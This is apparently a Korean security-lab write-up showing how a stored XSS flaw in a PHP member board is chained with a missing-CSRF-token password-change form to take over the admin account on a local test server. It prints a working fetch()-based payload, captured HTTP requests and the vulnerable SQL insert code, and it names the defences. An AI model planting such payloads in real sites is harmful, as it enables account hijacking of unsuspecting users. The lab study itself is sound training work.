Stored XSS를 이용한 CSRF 공격 실습
Stored XSS 취약점과 CSRF 취약점을 결합하여 관리자 계정의 비밀번호를 탈취하는 공격 시나리오를 실습해보았다.
실습 환경
취약한 기능 페이지
1. 회원 게시판 (member_form.php, member_insert.php)
- Stored XSS 취약:
htmlspecialchars()미적용 - SQL Injection 방어 부족: Prepared Statement 미사용
2. 마이페이지 수정 (mypage_update.php)
- CSRF 토큰 검증 없음
- POST 요청만으로 비밀번호 변경 가능
- Referer 검증 없음
취약점 분석
1단계: 초기 상태 확인
user01 계정으로 로그인하여 마이페이지에 접속한다.
현재 user01의 주소는 “user01”로 저장되어 있다.
2단계: Stored XSS 취약점 확인
회원 게시판에 XSS 페이로드를 삽입하여 취약점을 확인한다.
<script>alert(document.cookie)</script> 페이로드 삽입
게시글을 저장한 후 해당 게시글을 클릭하면 스크립트가 실행되어 쿠키가 알림창으로 출력된다.
게시글 저장 시 입력값에 대한 필터링이 없으며, 게시글 출력 시에도 htmlspecialchars() 처리가 되지 않아 Stored XSS 취약점이 존재함.
3단계: CSRF 취약점 분석
user01의 마이페이지에서 회원정보를 수정하여 정상적인 요청을 분석하면,
Burp Suite Reapeater로 요청을 캡처했을 때 다음과 같은 POST 요청이 전송된다:
mypage_update.php로 전송되는 회원정보 수정 요청
1
2
3
4
5
POST /logintest/mypage_update.php HTTP/1.1
Host: 192.168.56.104
Cookie: PHPSESSID=041g5mk2e2aoj06sc11im2oj93
username=user01&password=passwd_changed&password2=passwd_changed&address=%ED%8C%A8%EC%8A%A4%EC%9B%8C%EB%93%9C%EB%B3%80%EA%B2%BD
여기서 주목할 점:
- CSRF 토큰 없음: 요청에 토큰 검증이 없음
- 세션 쿠키만 사용:
PHPSESSID만으로 인증 - Referer 검증 없음: Referer 헤더 변조 가능
실제로 Referer를 http://192.168.56.104/logintest/member_list.php로 변조해도 요청이 성공한다:
Referer 변조 후에도 정상적으로 회원정보가 수정됨
이는 CSRF 공격이 가능함을 의미한다.
CSRF 공격 시나리오
공격 개요
- 공격자(user01)가 악성 스크립트를 게시판에 저장
- 피해자(admin)가 해당 게시글 클릭
- 스크립트 자동 실행으로 admin의 세션으로 비밀번호 변경 요청 전송
- admin의 비밀번호가 공격자가 지정한 값으로 변경됨
1단계: 악성 페이로드 작성
Stored XSS를 이용한 CSRF 공격 페이로드를 작성한다:
1
2
3
4
5
6
7
8
<script>
fetch('http://192.168.56.104/logintest/mypage_update.php',{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'password=hacked&password2=hacked&address=hacked_by_user01',
credentials:'include'
});
</script>
페이로드 분석:
fetch(): 백그라운드에서 HTTP 요청 전송credentials: 'include': 피해자의 세션 쿠키 자동 포함body: admin의 비밀번호를 “hacked”로 변경하고 주소를 “hacked_by_user01”로 설정
2단계: admin 계정으로 게시글 접근
admin 계정으로 로그인한다.
공격 전 admin 계정의 마이페이지 (주소: admin)
악성 스크립트가 저장된 게시글을 클릭한다.
게시글 화면은 비어있지만, 백그라운드에서 스크립트가 실행된다.
3단계: 공격 실행 확인
Burp Suite History를 확인하면 두 개의 요청이 발생한 것을 볼 수 있다:
요청 #120 분석:
1
2
GET /logintest/member_view.php?num=92 HTTP/1.1
Cookie: PHPSESSID=5e27idvkehedufsh7jo54qivn1
게시글을 조회하면서 악성 스크립트가 로드되었다.
자동으로 생성된 mypage_update.php 요청 (#121)
요청 #121 분석:
1
2
3
4
5
6
POST /logintest/mypage_update.php HTTP/1.1
Host: 192.168.56.104
Cookie: PHPSESSID=5e27idvkehedufsh7jo54qivn1
Referer: http://192.168.56.104/logintest/member_view.php?num=92
password=hacked&password2=hacked&address=hacked_by_user01
중요 포인트:
- admin의 세션 쿠키가 자동으로 포함됨
- 서버는 이를 admin의 정상적인 요청으로 인식
- Referer는 게시글 페이지를 가리킴 (검증 없음)
응답:
1
2
3
4
<script>
alert("회원정보가 수정되었습니다.");
location.href="mypage.php";
</script>
성공적으로 회원 정보가 수정 되었다!
4단계: 공격 성공 확인
admin 계정의 마이페이지를 다시 확인한다.
admin의 주소가 “hacked_by_user01”로 변경됨
주소가 “hacked_by_user01”로 변경되었으며, 비밀번호도 “hacked”로 변경되었다.
이제 공격자는 admin / hacked로 로그인할 수 있게 되었다.
시행착오
문제 1: HTML 엔티티 변환
처음에는 스크립트가 실행되지 않고 텍스트로 표시되는 문제가 발생함…
원인:
1
2
3
// member_view.php
$content = str_replace(" ", " ", $content);
$content = str_replace("\n", "<br>", $content);
공백과 줄바꿈을 HTML 엔티티로 변환하는 과정에서 스크립트 구문이 깨졌다.
해결: 해당 변환 코드를 주석처리하여 스크립트가 정상적으로 실행되도록 수정함…ㅎ…
문제 2: SQL 문법 에러
게시글 저장 시 다음과 같은 에러가 발생했다:
1
Fatal error: You have an error in your SQL syntax near 'http://192.168.56.104/logintest/mypage_update.php', { method: 'POST'
원인:
1
2
3
// member_insert.php (취약한 버전)
$content = $_POST['content'];
$sql = "INSERT INTO memberboard (content) VALUES ('$content')";
페이로드에 포함된 작은따옴표(')가 SQL 구문을 종료시켜 문법 에러 발생.
해결: Prepared Statement를 적용하여 특수문자 처리 문제를 해결했다:
1
2
3
4
// member_insert.php (수정 후)
$stmt = mysqli_prepare($conn, "INSERT INTO memberboard (username, title, content, wr_date, file_name, file_type, file_copied) VALUES (?, ?, ?, ?, ?, ?, ?)");
mysqli_stmt_bind_param($stmt, 'sssssss', $username, $title, $content, $wr_date, $upfile_name, $upfile_type, $copied_file_name);
mysqli_stmt_execute($stmt);
이제 작은따옴표가 포함된 스크립트도 정상적으로 DB에 저장된다. sqli도 막아짐.
취약점 정리
1. Stored XSS
- 위치: member_insert.php, member_view.php
- 원인: 입력값 필터링 없음, 출력 시 이스케이프 없음
- 영향: 악성 스크립트 저장 및 실행 가능
2. CSRF
- 위치: mypage_update.php
- 원인: CSRF 토큰 검증 없음, Referer 검증 없음
- 영향: 피해자의 세션으로 비밀번호 변경 가능
3. SQL Injection (부분 방어)
- 위치: member_insert.php
- 원인: Prepared Statement 미사용
- 영향: 특수문자로 인한 SQL 구문 에러
결론: Stored XSS와 CSRF를 결합하면 사용자가 게시글을 클릭하는 것만으로 계정 탈취가 가능하다. 이를 방어하기 위해서는 입출력 검증, CSRF 토큰, Prepared Statement를 모두 적용해야 한다.
시큐어 코딩
어 나중에~~~





